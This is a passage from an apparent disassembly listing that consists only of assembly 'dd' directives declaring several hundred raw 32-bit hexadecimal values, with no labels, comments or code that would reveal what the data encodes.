		dd 0E2520EB6h, 832515F6h, 117540CBh, 9B7D27A2h,	396B87F4h
		dd 0A1455A23h, 16B8E51Ah, 25E01D5h, 4E8DAFEAh, 94CF82B7h
		dd 0F31D1D7Eh, 605D55A7h, 69865DBDh, 0FBABF204h, 0C0983C1Fh
		dd 185F8177h, 83942BC7h, 0E53BBF89h, 0F63E70AAh, 24AA8D4Eh
		dd 3697A779h, 0FB15E0D7h, 277E90C5h, 7D281D03h,	0E6030FC5h
		dd 0E4DD6FC2h, 0F42ECB27h, 0D19655E7h, 63F0ADAFh, 0C55E0A03h
		dd 5F75AD00h, 0ED74ADCFh, 0B3CD88D1h, 0D434DC3Fh, 60A0F463h
		dd 88CA993Fh, 0D1E53D3Fh, 0E84F9ED7h, 0FB053456h, 21AC59B5h
		dd 7B7664Ah, 328980C1h,	82036AF6h, 8D7BF895h, 2E088B94h
		dd 72579B17h, 9BCA7CC5h, 434394B1h, 0ABE48943h,	8ECDC052h
		dd 50167C61h, 46D01F83h, 3418E568h, 1A937E75h, 0F31E6809h
		dd 0E14C95D7h, 0EC1A0704h, 29771737h, 955E8E96h, 1428DD5Ch
		dd 6BC20628h, 0B87E7816h, 9A8726C8h, 8FEB9F80h,	1496A063h
		dd 0FC7CB444h, 0FB952C8Eh, 3B929F47h, 0C902EF1h, 0C10AA6C8h
		dd 6188AC2Fh, 47685A3Ah, 2476A142h, 21474A13h, 119488A1h
		dd 8C526912h, 93ABD220h, 0E8530F86h, 7A23A3D8h,	6E58DD8h
		dd 0C0B47FBBh, 75367596h, 0B2E089A8h, 546DE4ABh, 0FE0AA1A6h
		dd 0A30251F7h, 0D17020EEh, 68202AF5h, 0C36A0BBh, 316082Eh
		dd 422602C1h, 1591574Bh, 78491099h, 76C5D47Dh, 0D722A4ECh
		dd 96D69351h, 0D052E555h, 0E345A841h, 0FA3E9655h, 1DF4A68Bh
		dd 22AEBB73h, 500D884Eh, 89106827h, 0F41560A1h,	614123C1h
		dd 0F7EAC267h, 0C8429AEEh, 0B71230A5h, 78973CBBh, 0AC5848B4h
		dd 0B4997799h, 8D270DBAh
		dd 0A9180A8h, 2B62DFE2h, 5B108FCAh, 83EF840h, 3D008711h
		dd 3CACE7E9h, 7049BAD5h, 88AA8534h, 4C0F5DB9h, 3CCE460Fh
		dd 0CAB53AF8h, 123C62C7h, 0F32F9E46h, 0E1200DEAh, 0CAE0285h
		dd 6D52BCF0h, 474F502Fh, 10C84576h, 8CC127E9h, 0FB402F84h
		dd 0ABE1AE9h, 6802D648h, 53C1027Bh, 40249C18h, 68452EB3h
		dd 0A560F428h, 4983DC6h, 531749F0h, 970409A8h, 29609640h
		dd 0C22BE812h, 0D43649E8h, 1025B563h, 34109428h, 0BD776BA4h
		dd 52B4D5C4h, 14AC661Eh, 4C828525h, 42CE2216h, 1127A311h
		dd 50C8A54h, 4C4449A4h,	91342A29h, 68DA8E22h, 2356A048h
		dd 5D3D654Ah, 0B4653D17h, 77514FA1h, 2990DB5Ah,	9D68D6F8h
		dd 3378DFEEh, 1461583h,	613C07B4h, 56B8530h, 0D2E4B16h
		dd 48803158h, 11451052h, 0A2C4E7DDh, 5A221Fh, 7C01E76Fh
		dd 1215F2Bh, 0B2F1AC6Eh, 0A22F6004h, 0AFDB45F5h, 0D42DA072h
		dd 54DE500Eh, 21991195h, 59451CFFh, 6BAD27D3h, 388854A7h
		dd 74C27029h, 78058398h, 4D00ABD4h, 9F615506h, 8236741Fh
		dd 9552D8C3h, 0C475D44Fh, 6C53979Bh, 52B51C02h,	188C2F58h
		dd 0BA12706Dh, 34D9424h, 17D48BEEh, 0DD40BB6Eh,	6441CE66h
		dd 0FA4E32FAh, 0C751FBB9h, 0E53BDA23h, 1D4E68C7h, 17C1608Fh
		dd 68065A13h, 636A505h,	2F400718h, 3318066h, 323531B0h
		dd 7E432E7Bh, 128D1008h, 5012886Dh, 6E0A072Ch, 197FFD81h
		dd 0FC03317Bh, 4AD12019h, 178C9D6Ah, 46A6041Ch,	0A5AAD157h
		dd 2AA5757Ah, 5FF08C1Fh, 796D5A1Dh, 3CA9D65Fh, 0E02F69A2h
		dd 7D184E2Bh, 9925A4A1h, 0E1A8D5AEh, 0F54976FFh, 12AE576Fh
		dd 0B80A63CAh, 0EA6B808Ch, 6316805Eh, 8950008Dh, 6134155Fh
		dd 39F8A77h, 0FB855F8h,	3F182452h, 839E3DEAh, 0F4D5B049h
		dd 2DF05684h, 303AC80Fh, 0BC5BD450h, 58C8AF1h, 0C2CCD18Ah
		dd 0A1602AABh, 2DA1AFF5h, 646DC7ABh, 1DDFA83Dh,	447BAD8Ch
		dd 208F83F8h, 0E811E87Fh, 0FD827C0Fh, 7FBEF61h,	0C3E13C66h
		dd 33AF5Bh, 0B10F5494h,	0D3EBE087h, 122A441Ah, 0E20894BDh
		dd 3F1427E4h, 8E26FEDAh, 0C8637721h, 0BD1F3D27h, 0EF5ED407h
		dd 28F9460Fh, 0B588D93Fh, 0A7E20387h, 75C3FB2Ch, 62CD9150h
		dd 31270Dh, 0ACEB466Ah,	3CEFD142h, 66C863C2h, 0A8071CA4h
		dd 70BBBB0Dh, 895727h, 0FC7F82ABh, 0CDE6C846h, 0A95F1559h
		dd 47AC0E40h, 0AAFDB9F1h, 0C1FD10FDh, 0B975BEB7h, 0A33245C8h
		dd 3B0CDB6Bh, 0F826E623h, 5F27873Ah, 0EBE08EFBh, 1ECEE3FAh
		dd 0C0769BCCh, 0FC5FBE09h, 7D78B521h, 2C78156h,	134B8196h
		dd 0A777578Fh, 9571F404h, 0D5EF9DD9h, 5A718E19h, 93CAB569h
		dd 0A215A910h, 6077D1A7h, 0AD107388h, 4AFDA286h, 852043F0h
		dd 7346CD30h, 0ACFA0718h, 0BC28398Ch, 4751F1B8h, 0D844350Bh
		dd 40DB134Bh, 0E817EFEBh, 8385B39Dh, 39085FD2h,	0C036B824h
		dd 8318DCC4h, 7DF15FD2h, 548CAAFEh, 2C122AE8h, 9668C4A6h
		dd 0BA18FD71h, 28AB206Eh, 2FEC3019h, 0C85246A7h, 3DA08DD7h
		dd 0A3B5EE5Ah, 5D7EFAA3h, 0D1739A63h, 0D918A894h, 98FEB8FBh
		dd 759BEAC9h, 0A2CEC0A9h, 0B0673EBCh, 0CD5DFB02h, 824562C2h
		dd 99E843A9h, 8CF8750Eh, 717601F7h, 0FBD5764h, 0D2E5A029h
		dd 6150B00h, 0BB4F739Dh, 6B2EF172h, 0D4080310h,	3265739h
		dd 5038DB46h, 98FAD989h, 8388E30h, 31759598h, 9CAB39ECh
		dd 0C5D26D5Ah, 1CAECA18h, 1DF4D109h, 0BD6F2A6Eh, 8964BA4h
		dd 35A22306h, 0C322D7FCh, 885A568Bh, 24E2B9EBh,	55332E8Ch
		dd 4700B64Ch, 258039F5h, 515FC95Bh, 8A0CA9CBh, 75164C09h
		dd 5E98C23Ch, 8A463688h, 0E93EEEF0h, 0E40130CFh, 0E6BF8109h
		dd 7B919B80h, 2C5AB4F2h, 7B0A214Ch, 0B0641165h,	6FDB6164h
		dd 0F541DE5Bh, 4A4CC0B6h, 1C03C456h, 96F0A7D5h,	0B20C2566h
		dd 516E7DD3h, 8C473FC7h, 29D08229h, 0FB108EA7h,	80190913h
		dd 0B188B17Ch, 0AF20F811h, 201EC1ECh, 0B882D85Ch, 201BE0F4h
		dd 0B747EB74h, 30277626h, 7F907D12h, 88970F06h,	0FDBE06E9h
		dd 72CD5FC3h, 0C264CA4Fh, 54F68D68h, 0CA4395A2h, 0D1397DD1h
		dd 0A6DA07CAh, 0FA45A4FAh, 0D0CB0FAAh, 9A29AF8Ah, 0A2B4988Ch
		dd 980730C5h, 19879343h, 5521D5F7h, 8E62C7FCh, 0B576590h
		dd 25EEE80h, 14BC4066h,	1178AE94h, 72CE7928h, 6B24C2ADh
		dd 0C4E4A9C0h, 90FA6658h, 0AA9824B2h, 0F7227BA2h, 0C7C0CB2Ah
		dd 0CFD4407h, 417DABD5h, 0EAA05119h, 0F261002h,	209090EAh
		dd 0A2A283Fh, 0FF11C40h, 85BDC956h, 917D5A31h, 0CEE4AAF8h
		dd 0BB511CFEh, 259F15D5h, 0B541E005h, 0A799A474h, 2DEA4A6Fh
		dd 67CF450Eh, 0DCBFBBDBh, 3B5A4BA4h, 0E2FFACA6h, 7463D11Fh
		dd 0FED07E63h, 0FE20CE88h, 1FA7E168h, 4FDB0725h, 7C0CFC0Ch
		dd 0CA2EA1F2h, 280B3FA2h, 5A2CA6AFh, 0D2AB8FB7h, 0B4988000h
		dd 85F91498h, 5D613434h, 1E4C1681h, 0F5D32BEDh,	81A31A0Ah
		dd 27A9D848h, 69024A11h, 320A9044h, 448C24ADh, 91A28D18h
		dd 7025A641h, 0C5750890h, 0CD528424h, 8A92D25Ah, 85E0BF0Dh
		dd 0E89868B2h, 0A44B6073h, 98A0D6BCh, 536B44D1h, 894E5231h
		dd 0D663D854h, 98BEA2A4h, 0BEB3D538h, 5B4457B0h, 0EFA052D1h
		dd 0F78C1328h, 50173D6h, 18F00554h, 8F03EF16h, 5251B2E8h
		dd 6BB81346h, 1EF6F7CFh, 4D92D238h, 0AFFA8F26h,	9331595Dh
		dd 445C39EBh, 505F479Dh, 49628A33h, 0C1411BECh,	55CCD808h
		dd 0B1424B64h, 404A007h, 0F26B2h, 0D3776F94h, 2492C8Ch
		dd 9B39D959h, 0C7F4560Ah, 8A6871DDh, 88BC0180h,	0E4B33533h
		dd 49B4C388h, 8E3F4C3Fh, 0A393B3F4h, 5328EC70h,	0B1E80BF5h
		dd 0E56C8A4Bh, 62E0ACBAh, 0C051D0C7h, 4CAFA944h, 0FBA9D448h
		dd 6A03948Bh, 1F9D0E97h, 0C109A9EFh, 642101D7h,	0B14F92FFh
		dd 7FD7A573h, 5B4BEA27h, 973E77FEh, 0C7DBC73Bh,	0B73C5491h
		dd 0A3B0FAEBh, 24A263EFh, 0D04978D6h, 88E482A1h, 0F1055540h
		dd 0F6A18B3Dh, 0D1A6B67Eh, 0D47CA74Eh, 912EA9D2h, 0DBD7BC5Eh
		dd 95249484h, 8B3A0F67h, 53A8717Fh, 0B4E97B52h,	7B9128D3h
		dd 0B4AE9A3Fh, 6D0CB789h, 0E19D0ADEh, 0B4C60h, 88CAC92Eh
		dd 68F15711h, 6824966Ah, 4A2E008Bh, 86EDEFC0h, 902EE9FEh
		dd 0A859178Bh, 4016EEADh, 13253424h, 79C8A063h,	15E20227h
		dd 97D0F643h, 5AC820FDh, 0D3B847BEh, 0F831BAC7h, 4A3A1D2Bh
		dd 3AB43AB1h, 578AAD1Ah, 57B8CA3Dh, 2D208194h, 0EF22BF8Ch
		dd 682F5770h, 715BA0B3h, 0AE249475h, 0F5574867h, 9335EAC1h
		dd 0A82AC0EEh, 0C94037F8h, 76D118F5h, 224598BCh, 2F3F700Bh
		dd 52459F73h, 543FDC39h, 0B33EB176h, 6FC17712h,	6A2301AAh
		dd 0CD4FA7C8h, 0FF3F5AAh, 0E6CD5AA1h, 0C7646ECBh, 3F825077h
		dd 8A48423h, 2F7D7522h,	6C9A3A2Dh, 10272D1Bh, 0BFBB0F1Ah
		dd 8C2D5A21h, 4872F190h, 22EBA397h, 0ADA2EE6Fh,	742C3123h
		dd 7A4E42D7h, 1D8895FEh, 0FB34A86h, 5D154D4Ch, 3A831901h
		dd 0ED1D5143h, 0B222DDF2h, 0ACA8DAB0h, 0CB285811h, 6F96A288h
		dd 0BE8B803Bh, 0F73D0FF2h, 63AFA845h, 8B28AC68h, 88145B73h
		dd 942C0D20h, 555635C4h, 0BD42602Bh, 9C4D0E02h,	8B00B7CBh
		dd 746D3522h, 4885AD6Bh, 0FF2C1623h, 7049D636h,	742563B3h
		dd 3E89F519h, 77E327B0h, 0A4222948h, 0AEEDDD16h, 84480526h
		dd 85EBA99h, 20AA6ACBh,	0C99A8872h, 0F3EAF6A0h,	0A84C9EBDh
		dd 0C09859B2h, 5129E2DFh
		dd 30774D9Fh, 0F2A91933h, 6797C38Eh, 0F5121E61h, 0EFD11511h
		dd 48D7BBD6h, 0C751329Dh, 0AFD49F90h, 7B524D0Bh, 38A98B0h
		dd 8BC9220Bh, 651476A3h, 0FDE21455h, 4A4D2E89h,	5814BF53h
		dd 2E1FB026h, 180D2E34h, 6E7D40Dh, 6083243h, 0A520B3D7h
		dd 2C9E1577h, 1E6CE586h, 0D64CC76Dh, 0A823A206h, 0F0D97870h
		dd 0A8D68C76h, 423534D9h, 0BEDB153Ah, 56C7A330h, 76F599F4h
		dd 3F9751B0h, 52F1C398h, 0E589CB6Eh, 0C0A2E64Bh, 0CAF32FFDh
		dd 2CC8D68Ch, 0C579EF0Ch, 6BD4FCEFh, 9C8D9475h,	3161842Ah
		dd 0BE8728F8h, 45690AC2h, 0A5BF1397h, 0E8EB7D47h, 0CE5A8B16h
		dd 0D4AADC85h, 45D83605h, 578D56BAh, 22CF59E7h,	49684035h
		dd 0BF617CCDh, 0FD2EDA39h, 6245557Ah, 0B6A81FE7h, 696DA20Dh
		dd 0C7C6B0E2h, 7B078BADh, 0A68B9300h, 0B0D1BD01h, 57F30930h
		dd 8662CB95h, 0CA418319h, 9B7A7F1Fh, 0E9D14F26h, 0F1B1AB2Dh
		dd 8631A625h, 0AE36147Fh, 98B942B6h, 33498BCEh,	3C2D9C51h
		dd 0ABFC5749h, 8A0E84CCh, 76AB2CA2h, 0B7F1D6C4h, 17F929BBh
		dd 9F98C67Fh, 5508AE53h, 4D9D75E5h, 3C0E59D0h, 0F291F039h
		dd 6B29F82Eh, 0B13FFE35h, 5A111FA5h, 86113E88h,	43CC4349h
		dd 73818BA2h, 26E8F097h, 0EEA40F29h, 2902A040h,	3315BA7Dh
		dd 0BAE53ACDh, 8D18F8A4h, 2D99540h, 140EC365h, 0F6505015h
		dd 0A8595188h, 0CC1947CDh, 57692829h, 36946912h, 8973EC70h
		dd 7F509753h, 0DC595101h, 49652547h, 0F2BB7E54h, 502E2E48h
		dd 1D255E13h, 0AFCBB47Bh, 0E356D2B0h, 0B3D0F7Ah, 0A9A58E63h
		dd 0BD80597Ah, 477E6E6Ch, 0FEB17EAEh, 91AB5DFAh, 15A94BB5h
		dd 1993DE7Dh, 0DE515E29h, 262DB98Dh, 2E33919Dh,	0B87FE350h
		dd 537A178Fh, 60F5C2C1h, 0BD297347h, 0C6E43468h, 9CF34977h
		dd 0A57E760Bh, 12BABAB9h, 96A8897Ah, 0DA28E136h, 3BC8C3D5h
		dd 59229474h, 99019105h, 9025F73h, 0ABE51BD7h, 0D974FF22h
		dd 714EEE01h, 2454DA19h, 10FE5763h, 0F682AEBEh,	0CC3B0C19h
		dd 0C9CE615h, 319E0A36h, 91AFE037h, 44A3558h, 0CAB7ABD9h
		dd 7AEAD11Ch, 0B79A337Fh, 0B7A34CE4h, 8ACCAA7Bh, 25B19D85h
		dd 18809FF4h, 513C4762h, 8D133C8Ch, 37616455h, 5BE8A2DFh
		dd 0A4625FEAh, 2ABCAACBh, 9556A16Ah, 0C18F6196h, 0FAFD6F68h
		dd 0BABC422h, 250F272h,	0C42E462h, 470561Eh, 8AB1983Eh
		dd 0DF51093Bh, 0F932DB08h, 8914028Fh, 443A8AD3h, 6876756Fh
		dd 2D2E3DBBh, 8744F5Ah,	0B986C269h, 2BE36A2h, 5D06B36Fh
		dd 21AF7163h, 22F7CC5Dh, 5FE4BB2Ch, 0CC703C79h,	7BCCF175h
		dd 92ADA425h, 0E99460BAh, 93AF031h, 507D495Bh, 91D30078h
		dd 0B962B975h, 0EBD1E63Bh, 8124807Eh, 15D53DF0h, 82E8ABF9h
		dd 0DD2D047Eh, 66591FF3h, 2CD13688h, 0A4A75565h, 0BEE1E416h
		dd 98E8A034h, 0CCA85B12h, 4159AD1Fh, 66C640CDh,	8C2D5562h
		dd 13B83856h, 44B8A661h, 1168A99h, 6C08C367h, 0FB284C62h
		dd 0E1F31984h, 34A49B35h, 7D9D5FC4h, 0CED67F55h, 0C195315Dh
		dd 51B455DEh, 0DA4771Fh, 808C4AA3h, 6E92F11Ah, 1FC30344h
		dd 0E1557C58h, 0B96F7E5h, 0FCE8060Bh, 14D3863Ah, 595114h
		dd 0B9CCD6B2h, 0ABFC3C68h, 3043A38Ch, 4EAA1529h, 44BFB140h
		dd 3946A40h, 0EF829223h, 5B81DF9Ch, 14435F1Fh, 8815117Eh
		dd 83D4785Ah, 1C696962h, 8902631Bh, 23033403h, 5FCB3189h
		dd 72689305h, 4C965580h, 6F1A9928h, 8C033AF6h, 795A4C30h
		dd 0D37A4AAAh, 50AD658Ch, 0A40B1663h, 0AEF53F5Ah, 20A2DA2h
		dd 2A397CFFh, 1570BBCCh, 9690DB6Ch, 3BAD9D2Eh, 7BAC419h
		dd 0FC952049h, 0CF1606ABh, 2F1C6240h, 0C3E8D3Bh, 0F47A4AE7h
		dd 0D916C351h, 0FF8C4895h, 1DC503A7h, 9794C9A0h, 4C6212E3h
		dd 0AC2ABEh, 0ABF9962Ah, 2118BF20h, 48A25E81h, 326749A0h
		dd 9CFC344Dh, 812FD2FBh, 0BCC80344h, 62845C55h,	88DCE37Dh
		dd 12049B31h, 10916721h, 0FBD1EB9Eh, 2E893BACh,	29150157h
		dd 0D80874ACh, 0D19446C1h, 0C5856349h, 283E0D7h, 0C4FA9Eh
		dd 38A620B9h, 0B46811Ah, 0BF6D2395h, 4505532Ah,	0BA7321D5h
		dd 3283A59Eh, 56942C7Ah, 4121F124h, 28087AE4h, 55FC144Dh
		dd 0D8BFAD10h, 46899A49h, 0A451DD57h, 2FA6F7E6h, 84683892h
		dd 0CE595391h, 31C0A5A0h, 73D555F2h, 15A09999h,	2E017D80h
		dd 80ECAC32h, 0B8AB62FEh, 0A380BE8Fh, 0A682E261h, 74B2A62Fh
		dd 667A91E5h, 6FF0CCDDh, 65F4587Eh, 0F2AEE610h,	8AA6E6E8h
		dd 12D1DDE9h, 91409BC4h, 9DC0ADEEh, 51A2DF2Eh, 0B11093C2h
		dd 0EA8C88A7h, 6F13B4C2h, 2346529Ah, 0F42E88D2h, 649F154Ah
		dd 7403C4E8h, 44271A75h, 0B4FB5996h, 17C6CDC0h,	0A35BB909h
		dd 7CA73457h, 4DA3A19Dh, 0AA5D6581h, 0FA6DBA9Ch, 34FF616Bh
		dd 6E23F2B3h, 5CA5C86Eh, 6C59117h, 520AC5DFh, 0CE44FD8Ah
		dd 0CAB45DF5h, 0CF8F7D5Ah, 0A83F5B32h, 6CCFE8ABh, 12618EADh
		dd 9122A327h, 478AD480h, 25BAEAE0h, 85964E93h, 802DE9A6h
		dd 0A899AB45h, 0E86355DDh, 0BE6174A2h, 0E3F8084Eh, 0A2ACA8C3h
		dd 910644CFh, 9596A522h, 530314B1h, 0E630569Dh,	33BB3D9Eh
		dd 657CEDAh, 636D9849h,	5686FA7Eh, 477598C4h, 1A57C3BEh
		dd 828412A0h, 0D6064FC6h, 16489659h, 0B2151D7Eh, 97485D76h
		dd 48B34C43h, 0F7BAB2FBh, 4CC410A7h, 90B9ABD3h,	1156634h
		dd 14352BB5h, 4F5CB457h, 618560Ah, 5A9A598Eh, 715CD17Bh
		dd 221E5811h, 3E5A3E48h, 16558B40h, 9A5E97A7h, 0F267C204h
		dd 25B6D7ADh, 4CFECD6Eh, 0FE111017h, 0FE2A81AAh, 0B30CB958h
		dd 0A2EDF7A3h, 58D824CBh, 1C7516D7h, 59552857h,	3834CC6h
		dd 0CEB6E6EFh, 0AA736A17h, 0AEED27CAh, 0DD59E129h, 556F5771h
		dd 41E88645h, 0D4CDFD1Ch, 69CFAABAh, 0D1D40471h, 985D5C92h
		dd 51FC50DDh, 5709C610h, 4091DE95h, 96459682h, 93EA7369h
		dd 5CA93484h, 6D3E8AFAh, 50D8375Dh, 6DE83707h, 1E956A7Ah
		dd 11CA5DC1h, 4D642B86h, 0F1AA02EBh, 0C7CCD77Ah, 1BCC03E2h
		dd 0EC38C4C8h, 7E5C22CBh, 7982D0C5h, 0DAB368B0h, 2EA4AAABh
		dd 7D241F33h, 0C2FBFD88h, 0C2F97759h, 0B49C28F4h, 60840B60h
		dd 16DEDF91h, 468589B2h, 82E4BA7Bh, 40AF696Dh, 6BAF97Fh
		dd 18CF02FEh, 46F964Ch,	155FCF4Dh, 0A082A3D7h, 9F206517h
		dd 0B7F3A54h, 0A47CB975h, 81FDA716h, 62647ED5h,	604641C6h
		dd 798F50B5h, 0D4A050B7h, 0E56A99BAh, 452CA802h, 0A305FD16h
		dd 0FF2937C9h, 4819A5EAh, 48274EF8h, 0D94857F1h, 4294C621h
		dd 954F2D58h, 8255827Dh, 6EE3C594h, 0BE55092Bh,	56F38CECh
		dd 5FDCD277h, 0FAF27486h, 3ADE63A1h, 0B114ABFAh, 0AAEC575Fh
		dd 0B1069455h, 106F868Fh, 0CFFD2AF8h, 7DF2BD18h, 0C4F4EAC7h
		dd 0E06E696Ch, 0CA9583F7h, 0E615FCBAh, 0AA327C20h, 158B6BC3h
		dd 88E76307h, 73B0AC1Dh, 0DDEC5E68h, 2962EBF6h,	54875FDBh
		dd 0DB3D93B0h, 0D893E357h, 78DD83C7h, 6516F252h, 0CCED6E9h
		dd 2A404888h, 0F8516FEAh, 0AF5D79E8h, 54DB3858h, 33660C11h
		dd 0DA942720h, 1317BFCCh, 0E88EE37h, 0BE448A8h,	8C300512h
		dd 438250C2h, 357624Eh,	171CEB09h, 3750743Fh, 82272EA9h
		dd 0DA2A3295h, 104A60A8h, 0ACBFF319h, 2831716Ch, 6AFEF1CBh
		dd 9CC77C1Fh, 5FAF53AEh, 0B492D033h, 0AA1D2B7Eh, 0E3EAC89Ch
		dd 0F66E9458h, 0EB12CF55h, 0ED5C1C0Ah, 0F48822A1h, 0F51E5FAAh
		dd 0A0560225h, 0A6D50CC8h
		dd 7705F42h, 0BD187A07h, 0C18404C0h, 93CAA28Eh,	8CFA4C58h
		dd 0B501E0B1h, 932AEB55h, 0DEB4B168h, 22C4E7ABh, 47ACEC56h
		dd 3BE4E90Ch, 71AA2D21h, 0CB83424Dh, 10C3AF7Fh,	0A3BF4441h
		dd 1FDBE05h, 9F7D8A0Bh,	194CA209h, 5F45C8A5h, 0E43C6CE9h
		dd 11F8EACFh, 0E33CC183h, 557ACED7h, 8FA28E4Fh,	1201973Dh
		dd 40E93376h, 0B0C5DF22h, 67957E8Dh, 194968EEh,	3D208815h
		dd 43426E82h, 0E41F1FB8h, 9C44631Ah, 848DB88Ah,	4520721Fh
		dd 0D23FF4h, 57635005h,	91171079h, 5776F604h, 83D13DFAh
		dd 570C2879h, 937A68E9h, 31AE9DEh, 32D15E06h, 5184ABF5h
		dd 38DC015h, 0B653F8Dh,	72D7C612h, 0CB806289h, 0A44625C0h
		dd 190843A3h, 595722C9h, 1F90CFD6h, 0A0A74C5Ah,	0ACFD18CCh
		dd 0F1A75904h, 0E790CE62h, 4DB6566h, 0DA0ABE46h, 0AFD74BA5h
		dd 4F24D92Ch, 0D7F980D0h, 51020C74h, 1CAC43EDh,	0F80994D1h
		dd 806B5644h, 0E7A42794h, 0CDF9A72Ah, 0B69B5EA2h, 9ED17BA6h
		dd 0A3FB02D5h, 9E9E9C51h, 0F74120A1h, 0E3F12228h, 9E978345h
		dd 6126CB84h, 2F99C298h, 6B6A7AD9h, 0C6ED5AC8h,	0E1D01859h
		dd 67326F27h, 6525100h,	0F1A5DDBCh, 0DD26B6EDh,	0CF21CB07h
		dd 5DD23CEBh, 80D3B6D1h, 0D38032DAh, 0A5FE1140h, 0B08C9FA6h
		dd 668080AAh, 872BAAE8h, 0BEFFAC45h, 0E2FF45C1h, 2EECAC08h
		dd 425B0F4Bh, 86795FEDh, 0E2FF8FCAh, 7948C805h,	4E224DF2h
		dd 8ABF5143h, 1D57AD44h, 5519DCB7h, 59DFD1D6h, 6D379219h
		dd 6555451Ah, 55AEB280h, 75116AA1h, 2045EFE6h, 47D95D88h
		dd 0D5841789h, 3F79576Fh, 0DCFF0977h, 276386E5h, 5655D2E9h
		dd 9AE81ED6h, 132D515h,	0E628E8E0h, 4FC7EAA1h, 3EECE2CCh
		dd 455F8F52h, 0AE7DCBDEh, 0CB18CE94h, 448695F0h, 31B37E64h
		dd 0E3133353h, 296A3356h, 61DCF30Fh, 7CFF83B7h,	1A2246F4h
		dd 0A863F3F8h, 34BD501h, 0B32443E6h, 18552550h,	603281F3h
		dd 407C7C4Ch, 688CA462h, 94757100h, 0F07D3F19h,	0B803F202h
		dd 2D8042DFh, 4078B0E6h, 688DC82Dh, 0B0F42D00h,	0AB1FF298h
		dd 4A8704AFh, 90DC98D0h, 0C0F8EDB1h, 676180CEh,	6A8C3890h
		dd 8115F333h, 43B2D50h,	89CA88C2h, 0AF3C0CA9h, 13808197h
		dd 120FD1F8h, 0AF0E758Ah, 2C304621h, 0E2394188h, 0ECED2E5Bh
		dd 3671306Ch, 0A5C637C6h, 0D29645FBh, 7F10C2CFh, 327E280h
		dd 0C2665E72h, 1A5A5180h, 46348C5Dh, 291392C1h,	0D715C899h
		dd 288A4A15h, 15221C06h, 445464B9h, 4E91C993h, 99408DA6h
		dd 0BE555240h, 70CB4D19h, 9D476E3Ch, 65E45B99h,	2CCF2A3Ch
		dd 0E272715Dh, 6B6C3AAAh, 5CC431AAh, 0A9E6F59Fh, 8469177Eh
		dd 61C5CFEAh, 6DE68996h, 0A9D39999h, 4F36755Bh,	1A9CBDAFh
		dd 0B34219D7h, 6751F5B8h, 0EE7110C6h, 840315F0h, 4BD5203Fh
		dd 9850BE42h, 0C37B034Ah, 58032AC5h, 0AF821DA0h, 0A978484Ch
		dd 0C5D11F6Bh, 468E2C5Ah, 0BC6715FBh, 0CAD06710h, 0AC25300h
		dd 9E46962Ch, 2701B3B0h, 2BCD12A4h, 12579440h, 96DDA375h
		dd 7C57CC55h, 112D15D0h, 0D815E4B4h, 19230F03h,	0A20B1251h
		dd 1B15068h, 0C652B8EDh, 0C3231498h, 404F13C8h,	0E5D2F6B1h
		dd 1A452108h, 208D64F6h, 3874006Eh, 0A20A0C5Ch,	0ADFC2FEEh
		dd 92248B23h, 0E623CE23h, 79A2240Ah, 0AE374700h, 18DFDCFBh
		dd 8461AA7Ch, 8E3F1F53h, 48175BC8h, 98D7F9D4h, 338B90F2h
		dd 0C5F83E75h, 54E49BFFh, 851155F4h, 0C4531ABh,	3D267B6Dh
		dd 0D3EB4DC2h, 209B505Fh, 0C3D80842h, 0B68A6A19h, 7A6E97DAh
		dd 97589984h, 8E08B89Bh, 0D74E2BA2h, 4A8169F5h,	98B60718h
		dd 0C745238Ch, 41892144h, 23D1D54Ah, 0F71296BEh, 0A69FCB52h
		dd 6A978DB0h, 5A0252D4h, 93380631h, 0A4AF8AE5h,	5718E493h
		dd 0CBE8E09Eh, 0A9999FA3h, 0BDA8E685h, 0C84DC794h, 625C19C5h
		dd 821F1A27h, 0C7E6FF32h, 69424D11h, 0D1CC9185h, 3AB1D0CBh
		dd 0BD15E383h, 0F2F92E56h, 279F218Dh, 394ED1BEh, 97D18CDAh
		dd 0F7BE53D3h, 0CAECF05Bh, 98BAF3EAh, 80D63181h, 0EC7CFC16h
		dd 0FF2273A1h, 0ABE04E47h, 0A4AB5222h, 8CC77A30h, 5261BCF4h
		dd 0A3AACAF8h, 0A2A7FB0Dh, 8B437549h, 5F088336h, 8B47F084h
		dd 0E8F8965Ah, 55CC4C66h, 4AF71774h, 4C522E63h,	4A03BC03h
		dd 0B3B4A8BCh, 0A1687309h, 5D810230h, 0A957359Bh, 7C80D701h
		dd 9588A331h, 89576D07h, 0B41F0CA6h, 0E795721Fh, 0C026544Ch
		dd 7BDCA5h, 1A754ABh, 0AFB103BDh, 0B39AD404h, 1F1AD640h
		dd 7CA55499h, 0C12A05BDh, 3619FEA0h, 7DB4A85Ah,	72FAB5A2h
		dd 0E28299B4h, 118BA0AEh, 0B01F6B65h, 476CA3CDh, 3413501Bh
		dd 6461C8F6h, 88509FF8h, 288BD2D1h, 0D7843DD3h,	0AA653496h
		dd 0C5767A76h, 478E746Dh, 8AA5B232h, 3DEBFE11h,	17CD2276h
		dd 0A2A9213Eh, 7D33BC9Bh, 4CCDB992h, 0EE731339h, 0F4F1BE0Ah
		dd 0A51FFC89h, 619B9515h, 58BF24F2h, 9F487397h,	7896DE42h
		dd 9F451A0Bh, 6382FE0Ch, 0C74C11E9h, 36844AB4h,	66958451h
		dd 0D4566D5h, 698D526Bh, 0E5CB4FE6h, 0EA7E7242h, 0D5827A3Ch
		dd 9C3B1782h, 4D88D490h, 8DCC80F7h, 0C47AAAF9h,	92906D9Dh
		dd 0B1C5DEA6h, 0E5785571h, 610D4FCh, 14696582h,	0B30BFFA4h
		dd 5717DFC0h, 22E0145Eh, 5AC09A60h, 79ED2EABh, 0CC4454A7h
		dd 334A4580h, 2B84CB74h, 8F5E54Eh, 99C96A8Dh, 71943515h
		dd 9AAFC882h, 0DB70580Ah, 5B999989h, 9A578F49h,	0B48CDB61h
		dd 2474919Dh, 730B75D4h, 0BC0F77B0h, 0E80790D2h, 80E000D3h
		dd 0DD7B5F9Ch, 4BD34651h, 0AEE6388Fh, 391E955Dh, 0CD64EE47h
		dd 0DFD93ECCh, 7FA3D534h, 211E0644h, 0C6F8E9F6h, 0B9B98FBCh
		dd 75D5A0A4h, 9F2EB31Ah, 3B41E05Eh, 0BC66F1AFh,	0CAE88512h
		dd 40159300h, 71E9281h,	0B4065A2Ch, 0ACFEF376h,	25901353h
		dd 5F86832Ch, 25185152h, 36C5B07h, 5BA73570h, 9E51D2E0h
		dd 0F490B7F8h, 11FA14FEh, 5CDD224Fh, 6691619Ah,	3A205C92h
		dd 4EB3D199h, 1062ABBCh, 2BF927ADh, 0CD225EA9h,	2A8AB4D8h
